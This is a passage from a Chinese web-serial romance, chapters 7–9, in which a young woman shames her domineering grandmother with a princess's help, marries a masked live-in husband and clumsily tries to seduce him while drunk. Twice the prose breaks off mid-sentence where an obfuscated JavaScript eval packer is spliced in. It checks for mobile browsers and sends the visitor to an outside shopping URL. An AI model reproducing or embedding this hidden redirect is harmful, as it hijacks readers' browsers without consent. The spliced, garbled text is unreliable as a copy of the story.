可车帏晃动间，苏雨棠分明瞧见，老太太手臂被纱布、木板固定着，横在身前。 “老身拜见郡主。”苏老太太匆匆下来施礼，腿脚比平日里麻利许多。 贾氏也跟着施礼，只是面色煞白，吞吞吐吐的，不见平日的爽利劲儿：“郡，郡主万福。” 朱琳琅没理她们，而是诧异地望着苏雨棠：“她们是你的家人？那方才你在自家门口，怎么还能被外人欺负？” 眼看着祖母和二婶又羞臊又惶恐，苏雨棠不动声色：“若我阿娘在，或许会帮我，可祖母规矩大，恐怕我阿娘正被关着，没法儿出来。” 说着，她抬起眼眸，柔弱中带一丝庆幸：“幸好郡主明察秋毫，没让庄家得逞。” “郡主是民女的贵人，不知可否赏脸，进屋喝杯茶水？” 她是出于待客之道，祖母和二婶脸色却更白了。 “也好，我正想看看，你家老太太规矩有多大，竟敢软禁孀居的儿媳。”朱琳琅看也不看她们，抬脚便朝门里走。 “老身不敢！”苏老太太想吩咐人去处理，可郡主身边跟着好几个嬷嬷、丫鬟，个个都像能看透人心，她连眼神都不敢乱飘。 7. 07 花厅里，朱琳琅坐到上首，气定神闲。 老太太走到离她最近的位置，皱斑斑的手搭在扶手处，正要坐下陪客。 无意中对上她视线，身形一僵。 待反应过来，陡然缩回手，快步逃到远些的席位。 苏雨棠抿唇忍笑，款步上前落座。 朱琳琅眼中冰雪肉眼可见地消融。 老太太捏起帕子，擦拭汗涔涔的额角。 不多时，温氏过来拜见，身后跟着郡主派去接人的宫嬷。 温氏脸色不太好，憔悴、紧张，未及整理的仪容稍显狼狈。 苏雨棠瞧在眼中，心疼不已。 对上祖母，阿娘似乎总吃亏，或许她该去牙行买两个得用的人，放在阿娘身边。 不，她和阿娘院里的人都要敲打。 思量间，宫嬷已向上首施礼回话：“禀郡主，奴婢赶到时，温大太太正被困在屋里，门从外落锁，两个粗使婆子看守，说是奉老太太之命，不许她出来。” 说到此处，略顿住，眼神淡淡扫过老太太，这才似笑非笑赞：“老太太的规矩真大，奴婢今日也算跟着郡主长见识了。” 苏雨棠眸中闪过一抹流光。 宫嬷的话，真真有趣。 人家来自堂堂王府，什么规矩不懂？还要来苏家长见识。 不就是在说，老太太的规矩，比端王府的还大？ 果然，祖母登时坐不住了。 抖着老腿，咚地一声跪到地砖上告饶。 除了祠堂里的祖宗牌位，苏雨棠还是头一回见祖母对谁下跪。 祖母并非无坚不摧，她也会怕。 “郡主息怒，是老身眼花头昏，一时糊涂，求郡主宽恕。” 老太太头皮绷紧，她倒是想给温氏安个罪名，可方才在大门外她已领教过，郡主是个较真的，与她们在内宅斗斗嘴不同，郡主动辄要把人送去顺天府审问。 且郡主对苏雨棠这死丫头很是维护，恐怕私交不浅。 已经惹郡主不喜，若再自作聪明，怕更会火上浇油，没脸的还是她。 老太太没敢再触霉头，她低垂着头，姿态恭顺，盼郡主从轻发落。 “老太太既知年事已高，容易犯糊涂，便该早些将掌家之权交给头脑清醒，有勇有谋的年轻人，这才是兴家之相，老太太也能颐养天年。”朱琳琅捧着茶盏，冷声点拨，撩起眼皮，眼锋锐利瞥向她，“您老以为呢？” “是，是。”老太太听懂她的敲打，从善如流应，“老身精力不济，今日便将中馈交给大儿媳温氏。” 温氏是孀妇，这不太合规矩，但眼下老太太也顾不得了，她可不敢惹皇亲国戚。 “既然精力不济，便不必作陪了，下去歇着吧。”朱琳琅语气淡淡的，听不出喜怒。 但上位者的威势，拿捏得十足。 嗯，她都是跟皇兄学的。 “民妇多谢郡主。”温氏被唬得膝盖发软。 孀居的三年多，她甚少见客，眼下见的还是贵客，且在她狼狈的时候，温氏表现得怯懦无措。 但老太太退出去后，她仍战战兢兢走到郡主跟前道谢。 “不必多礼。”阴差阳错帮温氏拿到管家权，但朱琳琅对温氏并不热络，也没吩咐看座，而是垂眸欣赏着今日刚涂的漂亮指甲，“刚在外头，看到雨棠独自一人应对庄家的刁难，本郡主还以为，她是个无父无母的孤女。” 慵懒的语气，凉沁沁灌进人耳朵里。 就连苏雨棠都听得一个激灵。 这话不可谓不重，直白又难听，苏雨棠下意识朝阿娘望去。 见到阿娘脸色发白，她于心不忍。 她抿抿唇，到底没开口替阿娘辩驳。 郡主屡番帮她，且是在为她说话，她不能让郡主寒心。 “都怪民妇不中用，没有保护好棠棠。”温氏低下头，眼眶里，泪水在打转。 强忍着，才没让眼泪落下来。 否则，更要让郡主看笑话了。 整个大魏，能让朱琳琅去顾虑对方感受的人，屈指可数。 显然，温氏不在其中。 “你是很没用。比女儿多吃近二十年米粮，不仅没本事保护女儿，反倒等着雨棠来救你，呵。”她摇摇头。 “今日你拿到了管家权，可若不改改性子，不懂培养自己的人手，继续窝囊下去，恐怕过不了几日，又会被人欺负到头上来。温氏，你要一直拖女儿后腿吗？” 劈头盖脸的指责，让温氏无地自容。 虽出自外人的口，却也是女儿该骂她的话。 这些年，她为了家宅安宁，为了不让夫君为家事操心，一味顺从老太太，对二房也总息事宁人，棠棠受了许多委屈吧？ 郡主说，棠棠今日独自一人应对庄家的刁难，温氏心里像被针扎一样。 老太太提前将她关起来，独带着贾氏出去，当然不会是去帮棠棠。 她们会如何？ 温氏想到棠棠刚回家那日。 她做亲娘的尚且如此，何况旁人。 “郡主教训得极是，民妇定将铭记于心，往后尽好做母亲的责任，努力护着棠棠。”温氏伏地叩拜，“若再有下次，民妇也无颜听棠棠唤我一声阿娘了。” “阿娘。”苏雨棠忙起身，乌亮的瞳仁裹着一层水壳。 朱琳琅没应声，冲宫嬷示意。 宫嬷含笑将人扶起来：“郡主说话直，但心意是好的，温太太别见怪。” 听到宫嬷宽慰温氏，朱琳琅不悦地侧首轻哼。 “嬷嬷言重了。”温氏诚惶诚恐，施礼告退。 望着阿娘的背影，苏雨棠心里五味杂陈。 看到阿娘难堪，她心里也不好受。 可她内心深处最浓烈的情绪是温暖柔软的，郡主的好意，令她动容。 她与郡主非亲非故，郡主大可不必理会她的处境，不必理会苏家的家事。 就连她自己，上回对阿娘说出那番话后，心中也多是愧疚，想的是自己如何不孝。 唯有郡主，看到她的不易，替她道出了她可能永远说不出口的委屈。 被外人欺负的时候，她能坚强应对，但其实她也很希望阿娘能帮她、护她，让她感受到温柔有力的依靠，心里更多些底气。 “苏雨棠，你有没有怪本郡主多管闲事？”朱琳琅没好气问。 若对方不知好歹，表现出一分怨怼，她再不会管苏雨棠的事。 “怎么会呢？民女感激郡主还来不及。”苏雨棠笑着起身，诚心拜谢：“今日若非郡主，庄家那边，民女还得多费一番口舌，才能摆脱。至于我娘，我知道郡主是好心。” “这还差不多。”朱琳琅很受用，眼神多了几许暖意，“就算我没来，你也能解决。苏雨棠，本郡主很欣赏你，往后把日子过好，别让我失望。” 言毕，她使个眼色，丫鬟赶忙将锦盒奉上。 “这是答应给你的东西。”她浅饮一口茶汤，站起身，“时辰不早，我便不多留了，改日再找你玩。” “竟然这么快就寻到了，郡主还亲自送来？”苏雨棠接过锦盒，双手捧着，只觉手上、心里都沉甸甸的。 她所求之事，郡主肯上心，很值得高兴。 苏雨棠眼眶微热，笑靥如花：“多谢郡主！” 说着，将锦盒放到桌上，捉裙屈膝：“民女替那沈大娘给郡主磕个头。” “诶！”朱琳琅忙拉住她，“你怎么总是谢啊谢的，真麻烦。” 被她横了一眼，苏雨棠眨眨眼，微微错愕。 看来郡主不喜欢她拜谢。 “好，不磕头，郡主稍等。”苏雨棠拉住郡主手臂，冲玉簪吩咐，“去把东西拿来。” 玉簪快去快回，不到一盏茶的功夫，捧来两只锦盒。 “原以为郡主是国公府的公子，所以拜访时，带了这柄洒金折扇做礼物，见到郡主是女儿身，怕不合适，没好意思送，回来特意挑了这套头面。”苏雨棠亲手将锦盒递到朱琳琅面前。 朱琳琅没想到她还特意准备了谢礼，诧异地打开盒盖。 “郡主金尊玉贵，见多识广，若这些不合心意，拿去赏人也好，还请笑纳。” 朱琳琅私库里的奇珍异宝，数不胜数，眼前的两样确实寻常。 但她看得出，对苏雨棠而言，应当是压箱底的好东西了。 且苏雨棠眼光很好，这血珊瑚头面很适合她。 而象牙洒金折扇，很配她新制的那身男装。 “谁说我不喜欢了。”郡主扣上盒盖，将东西捞入怀中。 她喜欢，苏雨棠心中宽慰不少，总算没有白占人便宜。 “若郡主明日得空，可来饮一杯喜酒。”苏雨棠笑盈盈邀请，没解释，在郡主震惊的眼神里福身，“恭送郡主。” “喜……酒？！” 或许是惧怕郡主威势，祖母雷厉风行，苏雨棠到阿娘院里用晚膳时，院子里已站满了下人。 面对府中下人，温氏还算拿出了几分当家主母的气势。 “阿娘，您方才做的很好。”苏雨棠亲手盛一碗鸡汤，放到温氏手边，“您在闺中时，也学过管家吧？” “自然学过，那时候……”不知想到什么，温氏愣了愣。 停顿片刻，才继续与女儿叙话。 她嘴上不停，眼神却缥缈，心神早游离到豆蔻年华。 连她自己都险些忘了，出嫁前的温燕珍并不怯懦恭顺，甚至因倔强不服软，时常令母亲头疼，就算将她关在房中反省，她也敢偷跑出去。 若论起来，棠棠如今的性子，很像当年的她。 做了人家的妻子、儿媳、母亲，她似乎不知不觉把自己弄丢了。 “你放心，娘能应付。”这句话出口，温氏仿佛感受到，有久违的力量正往她心口钻。 “对了，棠棠，那日你说想招赘婿，娘仔细想了想。赘婿名声不好听，只怕难寻到好的。”温氏认真端凝着女儿，越看越觉得女儿容貌出挑，又有本事，她和夫君将女儿许配给庄家，实在委屈了女儿。 幸好，女儿有胆识，没容忍姓庄的。 虽成过亲，休过夫，传出凶悍之名，但女儿年轻貌美，嫁妆丰厚，不愁嫁，凶悍的名声也不全是坏事，至少能吓退些心术不正的人家。 她抬手梳理女儿发丝，语气透着愧疚：“都怪爹娘识人不清，险些误了棠棠，这回娘细细打听，定给棠棠挑个样貌般配，品性上佳的夫婿，明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“东西我带来了，你先拿去给赵郎中，安排好，我等着你。”苏雨棠说着，回身探入轿帘。 轿帘垂落在她后腰处，因躬身的姿势，裙料不经意勾勒出圆润饱满的弧度。 沈酌眼睛似被灼到，迅速移开。 他长指扶在面具下颌处，鼻尖嗅入她余留的气息。 温温热，兰香麝馥。 神思仿佛被一张香网罩住，他的思维变得迟钝，无法如平日般理性思考。 若换做旁的女子，开出同样的条件，他会为救母亲，献上自己吗？ 沈酌清楚，不会。 为何是她，便能打破心底的清傲与坚持呢？ 这是比最难的策论还难解的题，他想不出。 半个时辰后，苏雨棠在家门口等到这顶轿子。 随着吹吹打打的喜乐声，停在石阶下。 许多过客被乐声吸引，过来瞧热闹。 男人从轿子里走下来，脚步沉稳。 身上仍穿着那身粗布衣袍，一看便知出身贫寒。 脸上戴着她赠的鎏银狐狸面具，平添几分神秘感，让人不由自主将更多心思落在他脸上。 “这是谁啊？还戴着面具。”人群议论纷纷。 “三郎。”苏雨棠走下石阶。 众目睽睽之下，她主动牵起他的手。 感受到他的轻颤，苏雨棠扣紧他微凉的指骨，冲围观的众人笑道：“今日是我招赘之喜，府中已备好酒菜，诸位街坊若不嫌弃，皆可进来喝杯喜酒。” 招赘？！ “是我记错了吗？苏小姐休夫不出三日吧？这就迎上新人了？”有人恍恍惚惚，做梦似的。 “不愧是苏小姐，我定要去讨杯喜酒，瞧瞧热闹。”有人整整衣冠，侧身问左右，“诶，你们去不去？” “去啊，一起！”数人应和，个个双眼放光。 宴席仓促，没让阿娘张罗，是苏雨棠从外头请的，物件、吃食、陈设一应俱全。 阿娘在外头招待宾客，祖母和二房如何，苏雨棠根本没问。 昨日刚被郡主吓得不轻，量他们也不敢再今日闹事。 她在院子里另摆了一桌小宴，专招待明珠郡主一人。 朱琳琅打量面具人好几眼，啧啧称叹：“好啊你，从哪儿找来的赘婿？这么宝贝，在我面前还藏着掖着。” “三郎生得俊，我当然要藏着些，他脸皮薄，我不想他在外被人说三道四。”苏雨棠瞥一眼沈酌，眼神里是不加掩饰的欣赏与满意。 人家的赘婿长什么样，朱琳琅并不真的关心。 “啧，还挺护着。”与苏雨棠碰了一杯，眉飞色舞，“就你这找新人的速度，我猜那姓庄的若知道，得气个半死！” 显然，她对气死渣男更感兴趣。 将酒杯往桌上一顿，菜也不吃了，霍然起身，神采飞扬：“不行，我得去趟顺天府，立刻马上！亲口把这好消息告诉你那前夫，让他也跟着‘高兴高兴’！” 8. 08 苏雨棠起身相送，刚迈过门槛，郡主已经大步踏出院门。 她停下脚步，亭亭立于檐下目送。 被郡主足下生风的气势感染，苏雨棠脑中浮现出庄锦才气吐血的画面，不禁扬起唇角，溢出一声轻笑。 现世中，被气吐血的，只会是庄锦才。 太阳洒下万千金辉，斜掠檐角，铺照廊庑。 少女红艳艳的裙摆随风摇动，被日光照出剔透感，似初夏的榴花，温暖炽艳。 沈酌不由自主走进同一片光亮，站到她身侧。 她身上穿着新娘子的吉服，是回府等他时特意换的，但直到客人远去这一刻，沈酌才得以细瞧。 嫁衣鲜妍，映衬得她明艳不可方物。 沈酌端凝着她，自然垂在身侧的修长指骨却不由自主蜷起。 不过一两日功夫，哪有时间赶制新喜服？前两日，她定也是穿着这身吉服，坐上花轿，嫁去的庄家。 嫉妒的滋味酿藏心间，酸酸涩涩。 姓庄的有眼无珠，直把珍珠当鱼目，令他不齿，可这一刻，他不得不承认，他有些嫉妒庄公子。 只一瞬，他便意识到自己晦涩的情绪浮动，指尖攥紧，深嵌掌心。 她嫁给庄公子时，怀着诚挚的期盼，将庄公子视作未来相伴终生的伴侣。而他呢？他充其量是个生意伙伴，他有何资格嫉妒？ 不期然瞥见少女如花的笑靥，那莹莹笑花彷如耀眼的辉光迸溅，溅入他眼中，烫得他心口一颤。 所有晦暗的心思，纷纷被驱散。 沈酌起伏的心神，悄然镇定。 他暗暗告诫自己，谨记本分。 察觉到身边人的目光，苏雨棠回望去，对上狐狸面具唯一未能阻挡的，俊雅郎君真实的眼神。 不知是面具映衬，还是别的缘故。 这双清隽的眼，显得格外专注，带着奇异的吸引力。 院子里吹来的凉风，仿佛都变轻了。 摇动的锦裙也收敛几分，显出端庄静美的姿态。 周遭忽而寂静得过分。 玉簪她们忍笑的声音，轻巧退下的脚步声，将气氛烘托得越发旖旎古怪。 原本还想着看前夫笑话的苏雨棠，心魂被他眼神猛然拽回来。 心弦震颤，微微发麻。 神经莫名绷紧。 “三郎，我好看吗？”苏雨棠唇角笑意不减，故作淡然，率先打破寂静。 她招赘的本意，也不是为着看前夫笑话。 从她丢下休书的那一刻起，庄锦才便是无关紧要之人。 此刻，欣赏未来位高权重的宰相大人，如何像毛头小子般青涩色变，她更感兴趣。 说话间，她已脚步轻快凑近他。 纤手轻抬，一只绕至他脑后，一只握住面具下方。 她手指灵巧，动作迅捷。 面具猝然被摘下时，郎君错愕的神情尚未及整顿。 甚至，在她近距离的注视下，他俊脸渐渐变红。 仿佛她的目光化作胭脂，卷睫扑闪间，将赧然绯色一重一重匀到他清俊的脸庞。 但很快，他便收拾好紊乱的心绪，眼皮压下些许，退后一步，姿态端方，嗓音清润如常：“前院还有不少宾客，是否需要在下去招待？还请苏小姐吩咐。” 郎君脸皮太薄，那一瞬的兵荒马乱，苏雨棠很庆幸自己没错过。 她拨弄着面具系带，含笑打量他，眼神玩味。 未来探花郎，直到当上宰相，也没成亲，显然脑中没有情爱这根弦，苏雨棠当然不会自作多情。 她很清楚，他脸红只是因她那句话不自在，没有一丝可能是喜欢她。 但这青涩鲜活的神情，同样令她愉悦。 若俘获了他的心，只怕更有趣。 念头刚起，便被苏雨棠狠狠掐灭。 有期待，就难免受伤，男人的心多难捉摸啊，她没有那样的野心。 有那功夫，她不如把生意做大些，多赚些银钱。 捧着白花花的银子，身边就不缺俊俏听话的郎君。 施恩、利诱，她连未来宰相都能雇到，不是么？ 欣赏过了，苏雨棠心满意足，见好就收。 毕竟，他们还没那么熟。 他仍唤她苏小姐呢。 “面具戴上。”苏雨棠抓起面具，冲他晃了晃。 却避开他的手，没给他。 刚戏耍了他，还是哄哄得好，否则他记仇就不好了。 她扯了扯沈酌衣袖，将他拉到柱子另一边的美人靠侧。 “我帮你。”纤手抬起，压在他肩头，将他高大清瘦的身躯往下按，“坐下。” 沈酌愣愣落座，面具重新遮住他面容，将令人纤毫毕现的日光隔绝在外。 他几不可查地舒了口气，心里莫名踏实几分。 不是因为怕被那些宾客看见。 而是，面对她时，他的情绪也可以安全地藏在面具之下。 沈酌从未想过，他竟也需要外物做保护色。 两人一道应酬宾客，沈酌话少，苏雨棠则游刃有余。 但凡有人想打听他的事，都被苏雨棠按事先想好的说辞应付过去。 就连敬酒，也多半被她挡下。 “三郎酒量浅，诸位放过他吧，苏氏在此向诸位道个谢。大伙吃好喝好，三日内若光顾我名下的苏记布庄、绸缎铺、针线铺，我给诸位统统打八折！” 由此，众人的话题便转到生意上，又是一番热闹。 说笑间，苏雨棠听到一个耳熟的声音：“好家伙，这是……回门宴？” “舅舅，舅母！”看到熟悉的身影，苏雨棠面露喜色，不顾仪态，小跑过去。 那声感叹，显然是最不稳重的二表哥发出的。 苏雨棠横他一眼。 挽住舅母手臂，唤了大表哥一声，关切道：“舅母，你们远道而来，路上可顺利？晚膳用了没？” “玉簪，快去张罗酒菜。” “先吃些填填肚子，屋子都收拾好了，待会儿我带舅舅、舅母过去歇着。” “好孩子。”见她没生气，舅母放下心来，“紧赶慢赶，路上还是耽搁了几日，可惜没赶上送亲，好在赶上了你的回门宴。” “来，这是我和你舅舅准备的贺仪，棠棠看喜不喜欢？” 梦里也是如此，路上舅母身子不适，舅舅执意带她看郎中、吃药，等好些才继续赶路。 可在梦里，她不懂事，是有怨言的。 认为舅舅、舅母远在云州，对她不亲，没把她的婚宴当回事。 成婚后，她对他们也渐渐疏远。 可一梦清醒，她才意识到梦里的自己有多笨。 舅舅、舅母生意繁忙，又远在云州，若不在意她，何必丢下生意，拖家带口，赶月余的路来参加她的婚宴？ 且他们虽不常来京城，逢年过节却总惦记给她送东西，每年的生辰礼也极丰厚。 提前送来的添箱，更是大手笔，寻常人家嫁女儿也不见得这般阔绰。 她嫁妆丰厚，实则一半是舅舅他们送的。 安顿好他们一家，阿娘也已落座，苏雨棠拉着沈酌走到几位身侧。 “舅舅、舅母，今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543378|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日并非回门宴，而是我招赘之喜，这是我的赘婿，詹家三郎。” 介绍之前，苏雨棠便知道会引起怎样的震惊。 是以，看到二表哥饮酒时，她拉着沈酌默默后退两步。 果不其然，话音刚落，噗地一声，二表哥尚未咽下的酒全洒给地砖了。 不小心多喝了两杯，苏雨棠回房，还是被沈酌扶着回的。 她脑子其实很清醒，只是不能很好地控制身体。 双腿打晃，像踩在涌动的海浪上。 沈酌腾出一只手，拨开喜被上布洒的红枣、花生、桂圆，这才小心扶她坐下。 苏雨棠捞起鸳鸯枕，斜靠着，揉揉额角，摇摇头，想清醒些。 站在她身畔，挡住光线的男子，低声问：“苏小姐感觉如何？玉簪已去准备醒酒汤，我喂苏小姐喝下，再回去。” 回去？ 苏雨棠顿住，反应一瞬。 继而抬眸，揪住他衣领。 她动作不稳，摇摇晃晃的，沈酌怕她磕着，顺着她的力道俯就，一条手臂虚虚揽在她身后，随时准备护住她。 她人有些迷糊，朱唇间有淡淡酒香溢出。 近近拂在他鼻尖，勾人入醉。 “你是我的赘婿，是我的人。”苏雨棠目光落到他发颤的唇，不知为何，有种想做坏事的冲动。 事实上，她理智已沉醉大半，顺从本心，仰面亲了亲他轮廓分明的下颌。 感受到男子的僵硬无措，她有些不满。 柳眉微颦，嘟囔：“不会么？” “你等着。”她想到什么。 沈酌还震惊在那一吻中，尚未回神。 少女起身，又晃晃悠悠回来，将一套翻开的册子放到他面前，细指轻敲泛黄的纸页，像夫子在敲板书：“好好学。” 顺从地瞥向册子，纠缠的画面直冲眼帘，灼得他眼睛发烫，慌忙移开眼。 “苏，苏小姐，我去取醒酒汤。”沈酌顺手将册子合上。 “我没醉！”少女抬手压住合上一半的书页，迷蒙的眼透出不悦：“你若学不好，我可不给银子。” 即便契约里写明了，最后要给他一千两，可她赚点儿银子都不容易，想赚她的银子哪儿那么容易？ 就算是宰相，那也是未来的，现在他是詹三郎，就得学着讨她欢喜。 喝醉的苏雨棠，无法讲道理，下颌发烫的唇痕，一大一小两只手共同压着的画册，都提醒着沈酌，她的反常。 他知道，他说的银子是什么，他并非卖身于她，本也没想要什么银子。 答应她，只为了报答她的恩情。 “苏小姐，抱歉，我不能。”沈酌嗓音微微沙哑。 契约是他亲手所书，他记得每一条约定，记得须得给她骨肉。 可她的难处，总有旁的法子解，他能帮着一起想，一起渡过。 她要骨肉，该是将来遇着真正心仪的郎君，再去拥有，他怕她后悔。 他也无法唐突恩人。 苏雨棠很不满意。 她看中的人，亲手写下契约，答应得好好的，却想反悔。 这场招赘宴，她可花了好些银钱，且将他身份护得好好的，他竟不懂得投桃报李？！ “你不能，我自己也可以。” 茫然愣神间，沈酌猝不及防被某个醉得胆大包天的小女子扯倒。 玉簪捧着醒酒汤进来：“小姐，醒酒汤来了。” 下一瞬，醒酒汤狠狠晃了晃，险些从手中滑落。 她看到了什么？ 小姐竟跨坐在郎君腿上，扯郎君的衣袍！ 9. 09 “呀！”玉簪惊呼。 移开眼，仓促放下承盘，捂着红彤彤的脸跑出去。 苏雨棠神志被突兀的响动拉回些许，动作顿住。 晃神间，腰侧一紧，被郎君抱下去，靠在软枕上。 入目是一片白皙紧实的胸膛，郎君清癯的身形俯低，质地略粗糙的衣襟，被她攥在掌间，皱巴巴的，不像样。 她做了什么？ 苏雨棠茫然抬眸，目光经由他清晰的、不安的喉结，抿起的薄唇，挺直的鼻，抚过他泛红的俊脸，对上他如临大敌的狼狈眼神。 恍惚间，一些亲昵的画面浮荡在脑海。 腾地一下，火辣辣的热度涌上她雪颊。 她竟借酒行凶，对一个温文尔雅、端方清正的郎君，胡作非为！ 臀下有些硌，纸张的轮廓质感告诉她，她正坐在那本画册上。 臀侧隐约能感受到，男子曲起的指骨，及肌肤散发的灼人热度。 “得罪了。”沈酌强自镇定，语气如常。 话音刚落，指尖使力，抽出被她压在臀下的画册，好让她舒服些。 羞耻、尴尬潮水般灌入她心房，苏雨棠足尖都不自觉蜷起。 幸而，颤抖的睫羽将交汇的眼神斩断的那一瞬，她生出急智。 “唔。”她干呕一声，捂住嘴巴，侧过身去。 “苏小姐！”沈酌顿时顾不上窘迫，将画册暂放床尾，起身去取唾盂。 他转过身时，苏雨棠轻咬唇瓣，悄然抬首，赫然望见他红红的耳根。 她都对他那般无礼了，他竟还能当做什么都没发生，细心照顾她这个始作俑者。 烛光将他身影放大，映在屏风上，由淡转深。 他要进来了。 苏雨棠低下头，维持着要吐的姿势。 许是时常照料生病的母亲，沈酌一点没嫌脏，动作娴熟，一手持唾盂，一手捏着干净帕子，随时等着替她擦拭。 他很细致，床头小几上搁着他顺手倒的清水，好给她漱口用。 苏雨棠默默瞧在眼中，低头干呕几声，没吐出来。 “多谢，我好些了。”假装片刻，苏雨棠推开他持唾盂的手臂，坐直身形。 “好。”沈酌温声应，将唾壶移开。 他出去洗净手，苏雨棠的目光也悄然跟随，不由感慨，他真沉得住气。 随即，弯弯唇角，暗自窃喜，自夸自己更聪明。 须臾，他又进到内室，捧起醒酒汤，坐到她面前的锦凳上，温声道：“趁热喝，胃里会好受些。” 苏雨棠点点头，敛起睫羽，就着他的手，将她并不太需要的醒酒汤，一勺一勺饮下。 玉簪知道她的口味，醒酒汤散发着橘皮清香，不难喝。 碗中汤汁见底，沈酌捏着帕子轻拭她唇瓣。 本是随手的举动，可窥见她丰润如樱珠的唇隔着薄薄丝帕依偎着他指骨，因擦拭的力道，微微变形的情态，他好不容易恢复平静的眼波又兴起暗涌。 这红润的唇曾大胆啄吻他下颌，馨香柔软，美好得不可思议，却能召唤人心底蛰伏的肉食野兽。 “苏小姐好生歇息，我先回去看看家母，明日再过来听从吩咐。”沈酌低垂的睫羽藏起暗流，语气如常，恭敬也如常。 今夜是她鲁莽了，似他这般清正的君子，想必吓得不轻，确实该容他回去缓缓。 就连苏雨棠自己，一时也无法从容面对他。 虽相中这个人，可她原本没想以勉强的方式。 尽量补救吧。 思绪梳理好之前，她嘴巴已迫不及待道：“穿着这般粗糙的衣料，外人只当我苛待赘婿，明日带你置办几身新衣。” 随即，双腿一缩，背过身，朝里侧躺，俨然倦极。 她可太聪明了，竟找到这般绝妙的借口！ 对，她方才只是在检查他的衣料，就是这样！ 自玉簪跑出去后，她便再未毛手毛脚，她怎样，他都配合。 此刻，立在少女窗畔，目光落在她被喜被包裹的身影，沈酌眼神清明。 她醒了，在饮醒酒汤之前。 她害羞了，后悔了，特意寻个借口粉饰，想要将那片刻的亲昵一笔勾销。 少女身形蜷缩成一团，不知正怎样懊悔自责。 沈酌从未见过这般可爱又可怜的女子。 心底最后一丝窘迫消散，他唇角弯起清浅克制的笑意，拿起面具，遮住面容，轻手轻脚离开。 玉簪独自引他出府，从避人的小路到后门。 “郎君慢走。” 沈酌颔首，压低声音叮嘱：“有劳姑娘照顾好苏小姐，我明日会早些过来。” 明日需见她那些长辈，那些逼得她以招赘之法护家财的长辈，他是她的伙伴，不能让她独自应对。 时辰不早，巷子静悄悄。 冷风迎面吹来，肌肤激起一层细小的疙瘩，就像她将他按在床上，扯他衣襟，指腹不经意触碰到他胸膛那一刻，自他肌肤底下往外冒的电火。 他一个大男人，其实不至于被一位醉醺醺的少女按倒。 沈酌脚步顿了顿，薄唇轻抿，步伐忽而加快，快速逃离。 少女闺房里的旖旎，不过是一场梦。 当时醉的是苏小姐，可该醒神的，是他。 听到他脚步声迈过门槛，离得够远了，苏雨棠才彻底松了口气，睁着眼睛，小猫似地一下一下挠着喜被。 她为自己酒后莽撞烦乱，又有几分懊恼。 脸都丢了，人却没捞着，岂不是白白丢脸？ 啊啊啊啊啊！ 她在心底尖叫。 捶胸顿足好一阵，才向越来越浓的倦意投降。 醒来后，苏雨棠很希望自己不记得昨夜的事，可事与愿违。 但至少在玉簪面前，她能装作不记得，状似无意问出她该问的：“什么时辰了？三郎呢？” 沈酌会不会被她吓得，再不敢登门？ “詹郎君在书房看书呢，天不亮就过来了，等了足有一个多时辰。”玉簪含笑应。 郎君这么早来，显然没把昨夜的事放在心上，没准儿那是她家小姐和姑爷打情骂俏的方式，都怪她昨夜大惊小怪，不然两位该已圆房了！ 玉簪心中懊恼，服侍得格外用心：“奴婢给郎君备了些点心，老太太派人来催了一次，说是早膳摆在太太院里，等小姐一道用，小姐可是这就过去？” “也好，你去叫三郎。” 苏雨棠立在廊下等他，听到脚步声，侧眸朝书房门口望去。 郎君戴着面具，身上仍穿着家常布衣，举手投足并无芥蒂，一如清风明月。 腹有诗书气自华，大抵如是，即便不看那张脸，他周身气度一样养眼。 她瞧着顺眼，老太太却不然。 “我不管你从哪里找来的这穷小子，今日便给我送出府去！你喜欢模样出挑的郎君，我和你娘再慢慢帮你找，这场闹剧，该适可而止了！”疲倦、等待、饥饿积攒的怒气，让老太太的眼神看起来恶狠狠的。 “祖母觉得，孙女在胡闹？”苏雨棠与沈酌并肩而立，望他一眼，神情含笑，眼神安抚。 接收到她的暗示，沈酌心里不是滋味，她习以为常，可见时常被长辈如此斥责。 幼年时，他和母亲与族人同住，依稀记得，母亲也时常被长辈责骂。 母亲忍气吞声，骂不还口。 那时他年纪太小，什么也做不了，直到和母亲一起被赶出那个家。 “难道不是？如今我们苏家被明珠郡主青眼，本是天大的福气，你却意气用事，让苏家沦为京城笑柄。”老太太气得不轻，却不敢直接发落她，撩起发青的眼皮，盯着温燕珍，“温氏，你这做娘的说说，该如何惩戒？” “祖母息怒。”沈酌长腿一迈，站到苏雨棠身前，恭敬施礼，“娘子并非意气用事，她行事周全果断，连郡主都赞誉有加，眼明心正之人势必都会夸赞苏家教女有方。若祖母仍执意惩戒，詹淼愿一力承担。” 娘子二字，苏雨棠第一次从他口中听到。 吐词偏轻，显然有些艰难。 可唤出这一声，后头维护的话，他便说得自然而 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“祖母口下留情！婚姻大事，自当遵从父母之命，阿娘已然同意，明珠郡主那里也过了明路，三郎便已是苏家人。他这声祖母，祖母若不想听，往后我便不让三郎唤了。”看着老太太脸色越来越难看，苏雨棠却不给她说话的机会。 隔着衣袖，她轻握了握沈酌的手，无声道着抱歉：“有句话，祖母说得不错，得明珠郡主青眼，确实是天大的福气，可祖母似乎忘了，这福气，是给我的，可不是给苏家的。” “祖母若瞧不上，嫌我给苏家蒙羞，不如就此分家吧，便不必担心我招赘之事影响苏家名声了。” 说到这一句，她语气偏偏淡下来。 但并不能减轻此话的威力。 “分家？你这逆女！来人，把苏雨棠拖到祠堂去跪着！温氏，你教女无方，和她一道去向祖宗忏悔！”老太太被二儿媳贾氏扶着顺气，仍气得发抖。 “我看谁敢！”面对迟疑的下人，温氏露出掌家太太的威严。 